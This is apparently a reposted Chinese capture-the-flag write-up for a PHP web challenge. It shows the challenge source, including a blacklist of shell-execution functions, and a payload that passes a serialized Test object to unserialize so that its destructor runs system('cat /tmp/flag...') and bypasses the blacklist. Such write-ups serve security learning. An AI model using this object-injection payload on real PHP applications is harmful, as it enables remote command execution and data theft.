本文共 1516 字，大约阅读时间需要 5 分钟。

• 一开始没有啥思路
• 抓了个包 发现可以传参 再结合报错 这里应该是可以利用函数的
  
• 返回的index.php源代码

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");    function gettime($func, $p) {
           $result = call_user_func($func, $p);        $a= gettype($result);        if ($a == "string") {
               return $result;        } else {
   return "";}    }    class Test {
           var $p = "Y-m-d h:i:s a";        var $func = "date";        function __destruct() {
               if ($this->func != "") {
                   echo gettime($this->func, $this->p);            }        }    }    $func = $_REQUEST["func"];    $p = $_REQUEST["p"];    if ($func != null) {
           $func = strtolower($func);        if (!in_array($func,$disable_fun)) {
               echo gettime($func, $p);        }else {
               die("Hacker...");        }    }    ?>

• 禁止了一堆函数例如system
• 看到类 想到利用反序列化 去绕过
• func利用unserialize函数 p传入序列化后的值
• 就会调用gettime函数$result被赋予反序列后的值

• Test类最后的_destruct()函数在程序执行完毕时自动调用销毁$result
• payload：

func=unserialize&p=O:4:"Test":2:{
   s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}`

转载地址：http://hfwmf.baihongyu.com/